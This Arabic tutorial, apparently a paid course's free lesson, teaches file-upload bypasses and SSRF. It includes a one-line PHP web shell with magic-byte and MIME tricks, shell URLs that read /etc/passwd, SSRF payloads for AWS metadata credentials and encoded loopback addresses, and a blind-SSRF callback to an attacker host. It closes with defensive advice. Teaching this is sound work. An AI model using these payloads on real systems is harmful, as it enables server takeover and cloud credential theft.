ثغرات رفع الملفات وSSRF
تجاوز قيود رفع الملفات، واستغل SSRF للوصول إلى الخدمات الداخلية، واربط الثغرات معًا.
ثغرات رفع الملفات وSSRF درس مجاني في Cyber Security Academy على CoddyKit. هذا هو الدرس 4 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Cyber Security Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Cyber Security Academy 4 دروس في المجموع.
ثغرات رفع الملفات
تُعد وظيفة رفع الملفات من أكثر الميزات خطورة في تطبيقات الويب. إذ يتيح التحقق غير الكافي رفع ملفات قابلة للتنفيذ (PHP وJSP وASPX) ثم تنفيذها على الخادم — مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
تجاوز أساسي للرفع: تصفية الامتدادات
يمكن تجاوز عوامل تصفية الامتدادات الموجودة على جانب العميل والقائمة على القائمة السوداء. جرّبوا: الامتدادات المزدوجة (.php.jpg)، وتغيير حالة الأحرف (.PhP)، والبايتات الفارغة (file.php%00.jpg)، والامتدادات البديلة (.php5 و.phtml و.phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerتجاوز نوع MIME
غالبًا ما تتحقق الخوادم من رأس Content-Type بدلًا من محتوى الملف الفعلي. اعترضوا طلب الرفع في Burp وغيّروا Content-Type من application/x-php إلى image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>تجاوز البايتات السحرية
تفحص بعض الخوادم البايتات السحرية للملف (البايتات الأولى من الملف). أضيفوا بايتات سحرية صالحة لصورة قبل حمولة PHP لاجتياز الفحص مع الإبقاء على المحتوى القابل للتنفيذ.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Web Shell بعد الرفع
بعد رفع ملف PHP/JSP وإتاحته عبر عنوان URL، شغّلوه لتنفيذ الأوامر. أبسط Web Shell هو:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdما هو SSRF؟
يخدع تزوير الطلبات من جانب الخادم (SSRF) الخادمَ لإجراء طلبات HTTP إلى عناوين URL عشوائية نيابةً عن المهاجم. ويتيح ذلك الوصول إلى الخدمات الداخلية وواجهات برمجة تطبيقات البيانات الوصفية للسحابة وواجهات الإدارة الداخلية.
الاكتشاف الأساسي لـ SSRF
اعثروا على المعلمات التي تقبل عناوين URL (webhooks وعناوين URL للمعاينة ونقاط نهاية الجلب وعناوين URL للصور). احقنوا عناوين داخلية وراقبوا الاستجابات — فالانتهاء بمهلة أو رفض الاتصال أو ظهور استجابة صالحة يشير إلى ما يمكن الوصول إليه.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/واجهة AWS للبيانات الوصفية عبر SSRF
تكشف خدمة البيانات الوصفية لمثيلات AWS (IMDS) في 169.254.169.254 بيانات اعتماد دور IAM. ويمكن أن يؤدي تنفيذ SSRF إلى نقطة النهاية هذه إلى تسريب بيانات اعتماد السحابة، مما يتيح الاستيلاء الكامل على الحساب.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF الأعمى
عند عدم انعكاس نص الاستجابة، استخدموا تقنيات خارج النطاق: يؤكد بحث DNS إلى Burp Collaborator إمكانية الاتصال؛ بينما يستخرج استدعاء HTTP اللاحق الذي يتضمن بيانات المسار المعلومات.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testتقنيات تجاوز SSRF
يمكن تجاوز عوامل التصفية التي تحظر عناوين IP الداخلية الواضحة باستخدام: ترميز IP (0x7f000001 عشريًا = 127.0.0.1)، وإعادة ربط DNS، وعناوين loopback بديلة (127.1 و0.0.0.0)، وإعادة توجيه URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostالحماية من رفع الملفات وSSRF
رفع الملفات: اسمحوا بالامتدادات الآمنة فقط، وخزّنوا الملفات خارج جذر الويب، وأعيدوا تسمية الملفات على الخادم، وقدّموها عبر CDN. SSRF: اسمحوا بعناوين URL ونطاقات IP المصرّح بها فقط، وعطّلوا ميزات جلب عناوين URL غير الضرورية، وفرضوا IMDSv2 على AWS.
تحقق سريع
ما عنوان IP الذي يستهدفه هجوم SSRF لسرقة بيانات اعتماد AWS؟
ملخص: رفع الملفات وSSRF
تؤدي عيوب رفع الملفات إلى تنفيذ تعليمات برمجية عن بُعد؛ بينما يؤدي SSRF إلى الوصول إلى الشبكة الداخلية وسرقة بيانات الاعتماد. اختبروا عمليات الرفع باستخدام تجاوزات الامتدادات ونوع MIME والبايتات السحرية. واختبروا معلمات عناوين URL بحثًا عن SSRF باستهداف localhost والشبكات الفرعية الداخلية وواجهات برمجة تطبيقات البيانات الوصفية للسحابة. يتطلب كلا النوعين دفاعًا متعدد الطبقات: استخدام القوائم البيضاء بدلًا من القوائم السوداء، وتقسيم الشبكة، وتقوية إعدادات السحابة.
الأسئلة الشائعة
هل درس «ثغرات رفع الملفات وSSRF» مجاني؟
نعم — نص درس «ثغرات رفع الملفات وSSRF» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Cyber Security Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Cyber Security Academy 4 دروس في المجموع.
ماذا ستتعلم في «ثغرات رفع الملفات وSSRF»؟
تجاوز قيود رفع الملفات، واستغل SSRF للوصول إلى الخدمات الداخلية، واربط الثغرات معًا. تتمرن على Cyber Security Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.
هل أحتاج إلى خبرة سابقة لأبدأ Cyber Security Academy؟
لا تُشترط خبرة سابقة. Cyber Security Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 4 من أصل 4.
كم من الوقت يستغرق درس «ثغرات رفع الملفات وSSRF»؟
معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.
هل يمكنني كتابة وتشغيل أكواد في درس Cyber Security Academy هذا؟
نعم. كل درس في Cyber Security Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.
جميع الدروس في هذه الدورة
- وكيل Burp Suite واعتراض الطلبات
- اختبار ثغرات الحقن
- اختبار المصادقة والجلسات
- ثغرات رفع الملفات وSSRF